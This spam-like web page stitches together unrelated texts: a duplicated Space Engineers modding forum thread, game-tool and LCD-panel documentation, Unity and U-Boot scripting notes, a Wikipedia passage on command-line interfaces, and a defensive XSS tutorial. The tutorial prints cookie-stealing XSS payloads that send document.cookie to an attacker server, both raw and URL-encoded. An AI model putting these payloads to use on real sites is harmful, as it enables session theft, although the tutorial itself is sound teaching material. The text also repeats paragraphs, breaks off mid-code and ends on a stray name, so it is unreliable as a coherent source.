lcd panel script space engineers supplier
else if ((block is IMyProgrammableBlock) || (block is IMyCockpit)) textSurfaces.Add(((IMyTextSurfaceProvider)block).GetSurface(0));IMyTextPanel does not have the IMyTextSurfaceProvider interface. You might as well be casting a cargo container as an IMyTextSurfaceProvider then wonder why nothing shows. Why would you need the panel to be a provider when you can cast it as an IMyTextSurface? My scripts add all IMyTextSurface instances to a single list using the checks above.
else if ((block is IMyProgrammableBlock) || (block is IMyCockpit)) textSurfaces.Add(((IMyTextSurfaceProvider)block).GetSurface(0));IMyTextPanel does not have the IMyTextSurfaceProvider interface. You might as well be casting a cargo container as an IMyTextSurfaceProvider then wonder why nothing shows. Why would you need the panel to be a provider when you can cast it as an IMyTextSurface? My scripts add all IMyTextSurface instances to a single list using the checks above.
LCD Panels do implement both IMyTextSurface and IMyTextSurfaceProvider. (It"s easy enough to verify in the game itself.) That IMyTextSurfaceProvider interface does contain one surface but it"s not any visible surface.
As for what I"d like, it would be a consistent API. I understand that having LCD Panels implement IMyTextSurface directly is helpful to those who have a shaky grasp of programming and are used to how things were before this change so having that helps with this transition. However, LCD Panels do also implement IMyTextSurfaceProvider so, for consistency, it would make sense that the surface provided by LCD Panels" provider is also the visible surface (i.e.: the same surface the block implements directly) rather than an extra, unused surface.
LCD Panels do implement both IMyTextSurface and IMyTextSurfaceProvider. (It"s easy enough to verify in the game itself.) That IMyTextSurfaceProvider interface does contain one surface but it"s not any visible surface.
As for what I"d like, it would be a consistent API. I understand that having LCD Panels implement IMyTextSurface directly is helpful to those who have a shaky grasp of programming and are used to how things were before this change so having that helps with this transition. However, LCD Panels do also implement IMyTextSurfaceProvider so, for consistency, it would make sense that the surface provided by LCD Panels" provider is also the visible surface (i.e.: the same surface the block implements directly) rather than an extra, unused surface.
I don"t really use those checks, I only check if it"s an IMyTextPanel when I pass a single IMyTerminalBlock to my output function, if it"s not a panel I just cast it as a provider. Otherwise I fill a list of terminal blocks with a specific type, cast it appropriately, add the text surface to a list, and repeat with a different type.
I don"t really use those checks, I only check if it"s an IMyTextPanel when I pass a single IMyTerminalBlock to my output function, if it"s not a panel I just cast it as a provider. Otherwise I fill a list of terminal blocks with a specific type, cast it appropriately, add the text surface to a list, and repeat with a different type.
LCD Panels do not implement IMyTextSurfaceProvider. I do not know where the surface came from. IMyTextPanel is equal to IMyTextSurface. IMyTextSurface is equal to IMyTextSurfaceProvider. IMyTextPanel may be equal to IMyTextSurfaceProvider but that doesn"t mean it is intentional.
LCD Panels do not implement IMyTextSurfaceProvider. I do not know where the surface came from. IMyTextPanel is equal to IMyTextSurface. IMyTextSurface is equal to IMyTextSurfaceProvider. IMyTextPanel may be equal to IMyTextSurfaceProvider but that doesn"t mean it is intentional.
Sandbox.Game.Entities.Blocks.MyTextPanel has the interface Sandbox.ModAPI.Ingame.IMyTextSurfaceProvider, this may be why you can cast it as an IMyTextSurfaceProvider.
Sandbox.Game.Entities.Blocks.MyTextPanel has the interface Sandbox.ModAPI.Ingame.IMyTextSurfaceProvider, this may be why you can cast it as an IMyTextSurfaceProvider.
LCD Panels can be found with the type IMyTextSurfaceProvider, getting the first surface works, applying the content type to text and image works, but writing to it does not work. I"m not sure why it partially works. Maybe because it is convenient to get a list of IMyTextSurfaceProvider stored as IMyTerminalBlock, cast IMyTextPanel as IMyTextSurface, and everything else as IMyTextSurfaceProvider.
LCD Panels can be found with the type IMyTextSurfaceProvider, getting the first surface works, applying the content type to text and image works, but writing to it does not work. I"m not sure why it partially works. Maybe because it is convenient to get a list of IMyTextSurfaceProvider stored as IMyTerminalBlock, cast IMyTextPanel as IMyTextSurface, and everything else as IMyTextSurfaceProvider.
Both IMyTextPanel and IMyTextSurfaceProvider are under Sandbox.ModAPI.Ingame and, even though the association is only defined in Sandbox.ModAPI, you can cast them back and forth anyway because the whitelist doesn"t seem to restrict by parent/child, just by name/assembly.
Both IMyTextPanel and IMyTextSurfaceProvider are under Sandbox.ModAPI.Ingame and, even though the association is only defined in Sandbox.ModAPI, you can cast them back and forth anyway because the whitelist doesn"t seem to restrict by parent/child, just by name/assembly.
VST was designed to allow users to design game scenarios for Space Engineers without needing previous coding experience. Mod developers can utilize this tool to create scripted gameplay events, play cutscenes, or modify game values at runtime.
World Outliner: Panel in VST which interfaces with any World currently running in an instance of Space Engineers, allowing designers to view, create, edit, and delete Waypoints outside of IST.
This pane lists all available scripts in the open scenario. From here you can open scripts to edit, create new scripts, and drag Common scripts onto open Objective graphs.
Scripts are organized by type (See Script Types section below) and listed alphabetically by file name. New scripts can be created through this pane by right clicking the parent directory you want to create or import a script under.When creating a new Mission script, VST will automatically create an accompanying State Machine script in addition to the required World directory and files. Only one State Machine can be run per Mission, so there is no need to create new State Machines by themselves.
Click on any item in the tree to select it. At the bottom of the pane there is a contextual description box, with a brief summary of the selected node’s functionality.
This pane interfaces with Space Engineers, allowing designers to view, create, edit, and delete Waypoints inside an open World. The World does not need to be connected to the open Scenario however, and the Outliner will connect to any running game World. If no World is currently running, the Outliner will be greyed out and inactive.
The top buttons are useful for quick actions, such as adding a new Waypoint or Saving. When a new Waypoint is added via the New Waypoint button, it is created at the camera’s current position in the world. In IST the new Waypoint can be moved in 3d space with its gizmo, or have its position values set manually.
The Script Editor is where the majority of work is done in VST, displaying the Graphs for any Mission, Objective, or Common script you open. State Machine graphs function slightly differently, and will be discussed in the next section. All open scripts are listed as tabs at the top with their names, and can be reorganized as individual panes in your workspace.
Gameplay scripting is designed by creating and connecting Nodes in a script’s Graph in this pane. Nodes are called in sequence going from left to right along the white Sequence Line, starting at an orange Event node.
The State Machine graph can be opened by double-clicking a State Machine in the Scenario Explorer pane. This Graph works similarly to the Script Editor, but only uses a small number of node types unique to State Machines:
State Machines control when and in what order Objective scripts are run, allowing for some code to only be run at specific times. While code in a Mission script is accessible at any time during the Mission, code inside Objective scripts are only accessible when a State Machine is running the Objective.
A State Machine can be started from a Mission script by calling the StartStateMachine node. Using a State Machine to run Objective scripts allows you to better organize and optimize your scripts, but it is not required.
States can be connected through transitions, which determines the order in which the states will be run. Each transition has a name given when it is made, which must be referenced when completing an Objective script.
When a State Machine is started, it begins by running the state denoted in the World’s Sandbox.sbc data file under the VisualScriptManagerSessionComponent section. If this node is deleted and no longer exists on the Graph, Space Engineers will select a different node with no incoming connections as the initial state to run.
To progress the State Machine’s Cursor to the next state, the Objective script needs to call a Complete node, and specify the name of the transition to progress down. This stop the current Objective, and begins running the Objective associated with the connected State in the named transition.
If this is your first time running VST, you’ll be prompted to “Select Content folder of the game.” Navigate to the Steam installation folder on your computer, and select …\Steam\steamapps\common\SpaceEngineers\Content\
If Space Engineers is already running, you can open your scenario by selecting New Game on the Main Menu, then scrolling down the list of official scenarios to view your Local scenarios. These local scenario directories can be found in your AppData folder for Space Engineers, in the \AppData\Roaming\SpaceEngineers\Mods\ folder.
You can open Space Engineers and directly load directly into your scenario by clicking “Run” on the Ribbon bar. The “Run Scenario” button can be used to also save all changes directly to the scenario folder in \Mods\, rather than to your \Saves\ folder, making it easier to edit and save changes to your World. This method requires that Space Engineers not have any instances already running on your computer.
When the game has finished loading and you gain control of the character in the world, the GameStarted Event in the Mission script will be called. If you left the StartStateMachine node connected to this event, the State Machine will also start running its first State node’s Objective script, and the code prints a Hello World message to the Chat window.
Regardless of what kind of scenario you’re making, all scripting in VST begins with Event nodes. These nodes fire when their associated event takes place in the game. GameStarted, for instance, fires immediately when the scenario begins for the first time, and any connected nodes will be called when that happens.
The easiest Event node to begin scripting with is ButtonPressedTerminalName, which fires any time a button panel is activated in the game. This event is great for causing scripts to run at specific times, since the player has direct control over when it fires.
It can sometimes be difficult to know what specific code is running in your script, since many nodes do not produce visible changes in the level. An easy way to debug your code is to use the SendChatMessage node to print messages to the in-game Chat window. Printing messages this way can help you determine when an Event is firing, as well as enables you to print variable values through the message field.
Next, click Run Scenario on the Ribbon bar to launch Space Engineers and load directly into this scenario with saving enabled. When you gain control of the character, create a button panel block, and assign any block action to the first slot.
In the previous section you created a simple button event, connected to a chat message node. Since there are no logical checks, and the Event node is on the Mission script’s Graph, this message will be printed to the Chat window when any button is pressed at any time during the Mission. You can easily constrain this code to only one specific button by checking some of the event’s parameters.
First, you’ll need to have a Branch node connected along the Sequence Line between the Event and the SendChatMessage nodes. Branch nodes check a boolean value, much like a traditional If / Else statement, and only executes one of its two output connections. We’ll use this Branch node to check the name of the button panel block provided by the Event node, so connect the True output to the SendChatMessage node.
StringContains is a great way to analyze strings such as Entity names, and determine if a sample string can be identified within the value string. For our event, we’ll want to check the button panel’s terminal name, and only print the message if it contains a specific string. Double click into the “contains” field on the StringContains node, type “test”, then click “OK” to confirm. This will cause the StringContains to evaluate “true” for its output boolean value only when the Event’s output name string contains the word “test”.
Open the panel’s terminal, and click the Name field to edit the block’s name. Adding the test string to the name will now allow the chat message to print. Keep in mind that StringContains is case sensitive, so adding “Test” or “TEST” to the terminal name will evaluate to false in our logic.
Next, we’ll learn how to start and progress through a series of Objective scripts via the State Machine. Don’t forget to save your changes to retain the updated terminal name!
In the previous section, you learned how to target a specific button by name, but it is still accessible at any time during the Mission. Moving the nodes into an Objective script allows the code to only be run during specific States.
First, click and drag in an open space on the graph to create a selection box. Drag the box around the Event, Branch, and SendChatMessage nodes, and release to select all the newly created nodes. Press Ctrl+C on your keyboard to copy these nodes to your clipboard.
Next, open the Mission01_Start Objective script by double clicking it in the Scenario Explorer pane. Press Ctrl+V on your keyboard to paste the nodes into the Objective script. Now that you have successfully pasted the nodes, return to the Mission script and delete the selected nodes there. The button can now only print your message when the Start state is active.
By default, new scenarios are set up with code to start the State Machine on GameStarted, and print a Hello World message before moving to the Part state. Go back to the _Start Objective script, and move the Complete node from the Init event to the end of your ButtonPressed event. This way, the State Machine will not progress past this state until the test button is pressed.
Using the State Machine and Objective scripts in this way can allow you to design unique scripted events, and control when they are called during your scenario. It also helps keep the scripts stay organized and optimized, since large amounts of nodes can slow down viewing a script in VST.
In order to set your scenario’s description, you’ll need to open your scenario’s .SCF data file in a text editor program, such as Notepad. You can find this data file in the \Mods\ScenarioName\Scenarios\ScenarioName\ folder, and it will be named the same as your scenario’s name. Between the
After you’ve set up these cosmetic extras, your scenario is ready to publish. On the Main Menu for Space Engineers, click New Game to view the Scenario selection screen. Here you can review your changes to the thumbnail and description, and click Publish at the bottom when you’re ready to share.
The In-game Scripting Tool (IST), also known as the “Scripting Tools” screen, is used to create and modify entities in a World. IST is ideal for placing Waypoints, creating Trigger volumes, and naming grids or blocks for referencing with VST.
These are the main scripts for a Scenario, and are set up in sequence on the Scenario Editor tab. A Scenario can have multiple Missions, but only one Mission can be run at a time. Each mission requires its own World, which is generated automatically when creating a new Scenario or Mission script.
These scripts begin running when the game is loaded, based on their order in the Scenario Editor tab, and will run until the SessionClose node is executed. Events and logic in this script can run at any point while playing this Mission.
To create a new Mission in your Scenario, right click in the Scenario Explorer and select Add New Mission. You will be prompted to input a Name, select a World and Loading Image to use as templates, and input an optional Loading Text. After clicking Create VST will generate a new Mission script, State Machine, and all required World files.
These scripts control the flow of individual Objective scripts in sequence during a Mission. The State Machine can be started from any script with the StartStateMachine node. Each State in the State Machine represents a specific Objective script, which are connected through Transition connections. States without input Transitions will be treated as starting nodes, and run when the State Machine is started.
All Transitions have an identifying name, which is input when connecting two States and creating the Transition. The Cursor moves along Transitions, activating the Objective scripts associated with its current State. To move the Cursor from one State to the next during play, the associated Objective script must execute the Complete node and specify the Transition name.
Specific scripts that are only run at certain times during the mission, and controlled by the State Machine. Code in these scripts do not run if a State Machine Cursor is not active on its State. When a Complete node is executed in an Objective script, the script is stopped and the Cursor moves to the next State in the State Machine.
Objective scripts are useful for segmenting your code, and only running what is needed to at a given time. This can keep your Scenario organized, making it easier to navigate and debug, as well as maintain steady run-time performance.
This script type is used for generalized, modular logic which can be repeated multiple in places. Common scripts can be placed in Mission or Objective scripts as nodes by clicking and dragging them onto a graph from the Scenario Explorer pane.
Two node types are specific to Common scripts: Input and Output, which mark the beginning and end of the Common script respectively. Both of these nodes can have parameters added to them, allowing for variables to be passed in or returned out.
The LCD Panel is a thin panel that takes an entire block face and can display a variety of messages and textures that can be displayed constantly or triggered by the Programmable Block, Sensor, Timer Block, or any other block capable of triggering.
The "Color" sliders allow setting the text colour using RGB slider and "Backgr." allows setting background fill colours (default black). If using a transparent LCD then the text will be against transparency unless fill colour is added.
"Loaded Textures" has a list of the available default and modded (where applicable) images available for display on the screen. Select the desired image and select "Add to selection". The selected image will then show in the second "Selected textures" panel.
When multiple images are applied they can be set to cycle between with the duration between images being set by the "Image change interval" slider. To remove an image from display select it in the second panel and select "Remove selected".
The "Preserve aspect ratio" checkbox can be used to prevent the image being stretched if it does not fit the screen properly such as when using a wide LCD.
To set the LCD to display a script, choose "Script" from the dropdown. Choosing Script allows the display of information such as weather, artificial horizon for vehicles, Energy and Hydrogen level etc.
The panel"s title and text can be made public, private, or a combination of both. Textures applied can be selected from a list or custom textures can be selected. Textures can be set to rotate on a timer, changing from one to the next. GPS coordinates shown in the GPS format in the text panel will appear in the GPS and can be activated (=shown on HUD).
The LCD Panel could be accessed with the programmable block as IMyTextPanel. It could work in ´Texture Mode´ in which the selected textures are shown or the ´Text Mode´ in which the text is shown. The following methods are available:
The various LCD Panel blocks are a great way to add a human touch to a ship or base by displaying useful images or text. For LCD configuration and usage, see LCD Surface Options.
Note: Some functional blocks, such as Cockpits, Programmable Blocks, Custom Turret Controllers, and Button Panels, have customizable LCD surfaces built in that work the same way as LCD Panel blocks, which are also discussed in detail under LCD Surface Options.
LCD Panels need to be built on a powered grid to work. Without power, they display an "Offline" text. While powered without having a text, image, or script set up, they display "Online".
LCD Panel blocks come in a variety of sizes from tiny to huge (see list below) and are available for large and small grid sizes. Note that LCD Panel blocks all have connections on their backs, and very few also on a second side.
All LCD Panels and LCD surfaces work with the same principle: They are capable of displaying dynamic scripts, or few inbuilt static images accompanied by editable text. Access the ship"s Control Panel Screen to configure LCD Panels or LCD surfaces; or face the LCD Panel block and press "K".
A Text Panel, despite its name, can also display images. On large grid, it is rectangular and does not fully cover the side of a 1x1x1 block. On small grid it is 1x1x1, the smallest possible LCD block in game.
On large grid, you choose the Text Panel when you need something that has rectangular dimensions that make it look like a wall-mounted TV or computer screen. If you want to display images, this one works best with the built-in posters whose names end in "H" or "V" (for horizontal or vertical rotation). On Small grid, you place these tiny display surfaces so you can see them well while seated in a cockpit or control seat, to create a custom display array of flight and status information around you.
Corner LCDs are much smaller display panels that typically hold a few lines of text. They don"t cover the block you place them on and are best suited as signage for doors, passages, or containers. They are less suitable for displaying images, even though it"s possible. If you enable the "Keep aspect ratio" option, the image will take up less than a third of the available space.
These huge Sci-Fi LCD Panels come in sizes of 5x5, 5x3, and 3x3 blocks, and can be built on large grids only. These panels are only available to build if you purchase the "Sparks of the Future" pack DLC.
They work the same as all other LCD Panels, the only difference is that they are very large. In the scenario that comes with the free "Sparks of the Future" update, they are used prominently as advertisement boards on an asteroid station.
This LCD panel can be built on large and small grids. The transparent LCD is basically a 1x1x1 framed window that displays images and text. It is part of the paid "Decorative Blocks Pack #2" DLC.
What is special about them is that if you set the background color to black, this panel becomes a transparent window with a built-in display. In contrast to other LCD Panels it has no solid backside, which makes it ideal to construct transparent cockpit HUDs, or simply as cosmetic decoration.
While configuring an LCD Panel, the GUI covers up the display in-world and you can"t see how the text or images comes out. In the UI Options, you can lower the UI Background opacity to be translucent, so you can watch what you are doing more easily.
The behavior of GameObjectsThe fundamental object in Unity scenes, which can represent characters, props, scenery, cameras, waypoints, and more. A GameObject’s functionality is defined by the Components attached to it. More info is controlled by the ComponentsA functional part of a GameObject. A GameObject can contain any number of components. Unity has many built-in components, and you can create your own by writing scripts that inherit from MonoBehaviour. More info that are attached to them. Although Unity’s built-in Components can be very versatile, you will soon find you need to go beyond what they can provide to implement your own gameplay features. Unity allows you to create your own Components using scripts. These allow you to trigger game events, modify Component properties over time and respond to user input in any way you like.
Unlike most other assets, scripts are usually created within Unity directly. You can create a new script from the Create menu at the top left of the Project panel or by selecting Assets > Create > C# Script from the main menu.
The new script will be created in whichever folder you have selected in the Project panel. The new script file’s name will be selected, prompting you to enter a new name.
It is a good idea to enter the name of the new script at this point rather than editing it later. The name that you enter will be used to create the initial text inside the file, as described below.
When you double-click a script Asset in Unity, it will be opened in a text editor. By default, Unity will use Visual Studio, but you can select any editor you like from the External Tools panel in Unity’s preferences (go to Unity > Preferences).
A script makes its connection with the internal workings of Unity by implementing a class which derives from the built-in class called MonoBehaviour. You can think of a class as a kind of blueprint for creating a new Component type that can be attached to GameObjects. Each time you attach a script component to a GameObject, it creates a new instance of the object defined by the blueprint. The name of the class is taken from the name you supplied when the file was created. The class name and file name must be the same to enable the script component to be attached to a GameObject.
Note to experienced programmers: you may be surprised that initialization of an object is not done using a constructor function. This is because the construction of objects is handled by the editor and does not take place at the start of gameplay as you might expect. If you attempt to define a constructor for a script component, it will interfere with the normal operation of Unity and can cause major problems with the project.
As noted above, a script only defines a blueprint for a Component and so none of its code will be activated until an instance of the script is attached to a GameObject. You can attach a script by dragging the script asset to a GameObject in the hierarchy panel or to the inspectorA Unity window that displays information about the currently selected GameObject, asset or project settings, allowing you to inspect and edit the values. More info of the GameObject that is currently selected. There is also a Scripts submenu on the Component menu which will contain all the scripts available in the project, including those you have created yourself. The script instance looks much like any other Component in the Inspector:
Once attached, the script will start working when you press Play and run the game. You can check this by adding the following code in the Start function:-
Browsers only prompt this dialogue for the certificate of the main URL, not for the resources loaded in the page, such as images, CSS or JavaScript files hosted on a secured external CDN.
Getting system information for your system can easily be done by the operating system in use, Ubuntu let’s say. But won’t it be fun to get this System information using Python script? In this article, we will look into various ways to derive your system information using Python.
For those of you familiar with our PXA series of boards, this should be old hat to you, since we’ve been doing this for years on that platform. We’re essentially just swapping the file name of init.scr for the new convention of nitrogen_bootscript.
In English, this says to try and load the file nitrogen_bootscript from the first (FAT) partition on the SD card and run it. The source command in U-Boot will evaluate a compiled script file in memory as if it were entered at the command-line (more on compilation later).
If either the script loading fails or the script runs to completion, the bootcmd will display the string Error running bootscript! on the first LCD panel and the serial port.
I mentioned earlier that nitrogen_bootscript must be a compiled script file. More specifically, a U-Boot script is a set of text with Unix-style line-ends using the hush syntax. Refer to the U-Boot Manual for details, but if you’re familiar with sh under Linux, you won’t find too many surprises.
The text file is compiled using the mkimage tool, which is available for a number of platforms. On Debian-based hosts, you’ll find that there’s a package named uboot-mkimage. mkimage takes a number of parameters, but most of them have little meaning to a script.
The notes above cover the basics of what a boot script is and how we’ll be configuring the U-Boot environment variables on the boards. The following are some snippets of code that you’ll find inside the nitrogen_bootscript files that we ship.
This is something we do a lot of at Boundary Devices. We’ll program boards at production time for one panel, but connect it up to another before shipment to a customer. It may also be useful to you if you have more than one display in common use.
The same idea of changing an environment variable and saving through a boot script is often useful for other reasons. You can use this to change bootargs or even bootcmd on devices you receive from us.
The final piece of the puzzle, the kernel command-line has way more options. The Linux kernel tree has a set of common parameters, but that just scratches the surface. Each device driver may contain its own set of parameters, and user-space environments such as Android and Ubuntu also use the kernel command-line as a way for the boot loader to pass instructions about how to start up to their respective startup scripts.
We certainly hope these notes help you to understand the power of the boot script and the details that you may see in shipments from us. If any of them are confusing, please let us know.
Alternatives to the command-line interface include text-based user interface menus (for example, IBM AIX SMIT), keyboard shortcuts, and various desktop metaphors centered on the pointer (usually controlled with a mouse). Examples of this include the Microsoft Windows, DOS Shell, and Mouse Systems PowerPanel. Command-line interfaces are often implemented in terminal devices that are also capable of screen-oriented text-based user interfaces that use cursor addressing to place symbols on a display screen.
Compared with a graphical user interface, a command-line interface requires fewer system resources to implement. Since options to commands are given in a few characters in each command line, an experienced user often finds the options easier to access. Automation of repetitive tasks is simplified by line editing and history mechanisms for storing frequently used sequences; this may extend to a scripting language that can take parameters and variable options. A command-line history can be kept, allowing review or repetition of commands.
Early operating system CLIs were implemented as part of resident monitor programs, and could not easily be replaced. The first implementation of the shell as a replaceable component was part of the Multics time-sharing operating system.MIT Computation Center staff member Louis Pouzin developed the RUNCOM tool for executing command scripts while allowing argument substitution.shell" to describe the technique of using commands like a programming language, and wrote a paper about how to implement the idea in the Multics operating system.Glenda Schroeder.
The first Unix shell, the V6 shell, was developed by Ken Thompson in 1971 at Bell Labs and was modeled after Schroeder"s Multics shell.Bourne shell was introduced in 1977 as a replacement for the V6 shell. Although it is used as an interactive command interpreter, it was also intended as a scripting language and contains most of the features that are commonly considered to produce structured programs. The Bourne shell led to the development of the KornShell (ksh), Almquist shell (ash), and the popular Bourne-again shell (or Bash).
In this format, the delimiters between command-line elements are whitespace characters and the end-of-line delimiter is the newline delimiter. This is a widely used (but not universal) convention.
Two different CLIs may agree on either syntax or semantics, but it is only when they agree on both that they can be considered sufficiently similar to allow users to use both CLIs without needing to learn anything, as well as to enable re-use of scripts.
Unlike a button or menu item in a GUI, a command line is typically self-documenting, stating exactly what the user wants done. In addition, command lines usually include many defaults that can be changed to customize the results. Useful command lines can be saved by assigning a character string or alias to represent the full command, or several commands can be grouped to perform a more complex sequence – for instance, compile the program, install it, and run it — creating a single entity, called a command procedure or script which itself can be treated as a command. These advantages mean that a user must figure out a complex command or series of commands only once, because they can be saved, to be used again.
A command-line option or simply option (also known as a flag or switch) modifies the operation of a command; the effect is determined by the command"s program. Options follow the command name on the command line, separated by spaces. A space before the first option is not always required, such as Dir/? and DIR /? in DOS, which have the same effectdir --help (in many versions of Unix) does require the option to be preceded by at least one space (and is case-sensitive).
Sometimes options and their arguments are run together, sometimes separated by whitespace, and sometimes by a character, typically : or =; thus Prog -fFilename, Prog -f Filename, Prog -f:Filename, Prog -f=Filename.
Two hyphen-minus characters without following letters (--) may indicate that the remaining arguments should not be treated as options, which is useful for example if a file name itself begins with a hyphen, or if further arguments are meant for an inner command (e.g., sudo). Double hyphen-minuses are also sometimes used to prefix "long options" where more descriptive option names are used. This is a common feature of GNU software. The
However, entering a program name without parameters in the hope that it will display usage help can be hazardous, as programs and scripts for which command line arguments are optional will execute without further notice.
In many areas of computing, but particularly in the command line, the space character can cause problems as it has two distinct and incompatible functions: as part of a command or parameter, or as a parameter or name separator. Ambiguity can be prevented either by prohibiting embedded spaces in file and directory names in the first place (for example, by substituting them with underscores _), or by enclosing a name with embedded spaces between quote characters or using an escape character before the space, usually a backslash (\). For example
are not ambiguous. Unix-based operating systems minimize the use of embedded spaces to minimize the need for quotes. In Microsoft Windows, one often has to use quotes because embedded spaces (such as in directory names) are common.
From the early 1970s the Unix operating system adapted the concept of a powerful command-line environment, and introduced the ability to shell scripts" which acted like custom commands.
Windows users might use the CScript interface to alternate programs, from command-line. PowerShell provides a command-line interface, but its applets are not written in Shell script. Implementations of the Unix shell are also available as part of the POSIX sub-system,Cygwin, MKS Toolkit, UWIN, Hamilton C shell and other software packages. Available shells for these interoperability tools include csh, ksh, sh, Bash, rsh, tclsh and less commonly zsh, psh
Most command-line interpreters support scripting, to various extents. (They are, after all, interpreters of an interpreted programming language, albeit in many cases the language is unique to the particular command-line interpreter.) They will interpret scripts (variously termed shell scripts or batch files) written in the language that they interpret. Some command-line interpreters also incorporate the interpreter engines of other languages, such as REXX, in addition to their own, allowing the executing of scripts, in those languages, directly within the command-line interpreter itself.
Conversely, scripting programming languages, in particular those with an eval function (such as REXX, Perl, Python, Ruby or Jython), can be used to implement command-line interpreters and filters. For a few operating systems, most notably DOS, such a command interpreter provides a more flexible command-line interface than the one supplied. In other cases, such a command interpreter can present a highly customised user interface employing the user interface and input/output facilities of the language.
There are JavaScript libraries that allow to write command line applications in browser as standalone Web apps or as part of bigger application.DuckDuckGo.Web-based SSH applications, that allow to give access to server command line interface from a browser.
Paul, Matthias R. (1997-07-30). NWDOS-TIPs – Tips & Tricks rund um Novell DOS 7, mit Blick auf undokumentierte Details, Bugs und Workarounds. MPDOSTIP. Release 157 (in German) (3 ed.). Archived from the original on 2017-09-10. Retrieved 2014-09-06. (NB. NWDOSTIP.TXT is a comprehensive work on Novell DOS 7 and OpenDOS 7.01, including the description of many undocumented features and internals. It is part of the author"s yet larger MPDOSTIP.ZIP collection maintained up to 2001 and distributed on many sites at the time. The provided link points to a HTML-converted older version of the NWDOSTIP.TXT file.)
Parker, Steve (2011). "Chapter 11: Choosing and using shells". Shell Scripting: Expert Recipes for Linux, Bash and more. Programmer to programmer. Indianapolis, USA: John Wiley & Sons. p. 262. ISBN 978-111816632-1. The shell has four different command prompts, called PS1, P52, P53, and PS4. PS stands for Prompt String.
Cross-Site Scripting is one of the most common attacks based on code injection. Although it"s a well-known type of attack, not all developers are really aware of how it works. Of course, if you don"t know how it works, you cannot defend against it. In this article, you"ll learn what an XSS attack is and how to defend against it by inspecting an application that is vulnerable to an XSS attack and then updating the code to fix the vulnerability.
A Cross-Site Scripting attack (also known as XSS attack) is a type of attack where code is injected into a legitimate and trusted website. The actors involved in an XSS attack are:The vulnerable website: a website with a vulnerability that allows code injection (XSS vulnerability).
Basically, the attacker uses the vulnerable website as a means to deliver their malicious script to the actual victim: the user of the vulnerable website. In fact, the snippet of JavaScript code injected into the vulnerable website will run on the victim"s web browser.
At first glance, this may seem not so critical. After all, JavaScript has no direct access to the user"s system. However, JavaScript can access many sensitive data related to the website the user is browsing, like, for example, cookies, security tokens, and other similar data. Also, JavaScript can send data to arbitrary servers and manipulate the DOM of the current page.
To better understand how XSS attacks work, you are going to set up an environment with all the elements to reproduce a simplified version of such type of attacks. To set up this environment, you just need Node.js installed on your machine.Although the example shown in this article uses Node.js as a server runtime, be aware that XSS attacks are not related to a specific server-side technology. The principles you will learn can be applied to any technology like ASP.NET, PHP, Django, and so on. In addition, since XSS attacks involve JavaScript, your client-side code is affected too.
Now, assume you are the attacker visiting the streaming website and, instead of adding a review to the movie, you add the following string in the review text box:<script>fetch(`http://localhost:4000?data=${encodeURIComponent(window.location.search)}`)</script>
As you can see, this is a script element containing a JavaScript statement that sends an HTTP request to the attacker"s website. That HTTP request is passing the current search query parameters.Using the <script> element is just one example of how you can inject your JavaScript code. You can perform code injection using various HTML tags. Be aware, also, that other XSS injection techniques involve CSS, direct JavaScript code, etc.
You may think that capturing reviews is not so interesting, since the review is public anyway. But consider what may happen if you, as the attacker, drop the following code snippet as your review on the movie:<script>fetch(`http://localhost:4000?data=${document.cookie}`)</script>
On the other side, one of the things that stands out in the code of the server.js file is the configuration of the cookies for the session. Even if that is not strictly related to XSS attacks, the httpOnly: false setting allows JavaScript to capture the user"s session data. It"s a good practice to keep httpOnly: true for session cookies.
The attack illustrated and analyzed above is just one possible way to inject malicious content into a web application. In this specific case, the attacker injects the code into the website, which stores that code and distributes it to any user unintentionally. In the example you analyzed, the malicious JavaScript code is stored in the reviews variable shared among all the vulnerable website users. In most real-life cases, that code is typically stored in a database. This is why the XSS attack seen so far is called Stored XSS or Persistent XSS.
The only new thing is a Visit this website! link below the title. If you click that link, you will be redirected to the streaming website. Looking at the address bar of your browser, you will notice the following link:http://localhost:3000/?newReview=%3Cscript%3Efetch%28%60http%3A%2F%2Flocalhost%3A4000%3Fdata%3D%24%7Bdocument.cookie%7D%60%29%3C%2Fscript%3E
It has the newReview parameter in the query string, and this parameter is assigned the encoded version of the script element you saw before. This URL is exploiting the sample website vulnerability to add the malicious code as a normal review on the movie.
While the Stored and Reflected XSS attacks involve the server, a DOM-based XSS attack involves only the browser and the DOM manipulation operated via JavaScript. Consider the following flow:The user visits the attacker"s website or receives a link from the attacker.
In this case, the malicious code is intended for the client-side code. The input is processed by JavaScript to perform some DOM manipulation so that the malicious code runs without involving the server.
Now you have a clearer understanding of how Cross-Site Scripting attacks work. So, the next step is learning how to protect your application from them. You may have been realizing that the main reason for having an XSS vulnerability is the lack of data validation. So, you guessed that the primary defense against XSS attacks is distrusting user input. You have two main strategies:Validate user input: You must make sure that all the data entered by the user is as you expect it to be. Use validation functions, regular expressions, and whatever prevents the user from sending you data in an unexpected format. Sanitize user input or reject it. Also, make sure to validate user input both on the client and on the server side.
As a more robust approach, you can apply the HTTP Content-Security-Policy (CSP) header to prevent unauthorized code execution. CSP supports many directives that help you to control how content can be combined in your HTML page. For the goal of this article, you will focus on the script-src directive that allows you to control where the JavaScript running on your page can come from.
In this template,
This code configures a new middleware in the Express application that attaches the HTTP CSP header to each request. In this specific case, you are specifying "self" as the authorized script source for any HTML page of the application. The "self" source tells the browser to trust only scripts coming from the current origin (http://localhost:3000 in the example you are exploring).
Specifying the "self" source also blocks embedded and inline code execution. So, any injected HTML code containing an inline script like the following will not run:<script>fetch(`http://localhost:4000?data=${document.cookie}`)</script>
This time, adding the above markup as a comment will not trigger an XSS injection. The browser will automatically block the code execution. Script tags embedded in HTML is the most common form of XSS. Banning them mitigates XSS risk considerably.
However, as a side effect of applying the "self" source for the script-src directive, your search function will no longer work. In fact, the code associated with the search functionality is included in a <script> tag and triggered by an inline statement. How could you fix this?
As a first option, you could enable the execution of inline scripts. You can do this by adding the "unsafe-inline" source to the allowed source list, as in the following example:app.use(function(req, res, next) {
Alternatively, CSP allows you to enable specific trusted code blocks by identifying them through their hash code. In the templates/index.html page of the streaming website project, you have a script block containing the search() function definition. But you also have an inline JavaScript code:
Ms.Josey 
Ms.Josey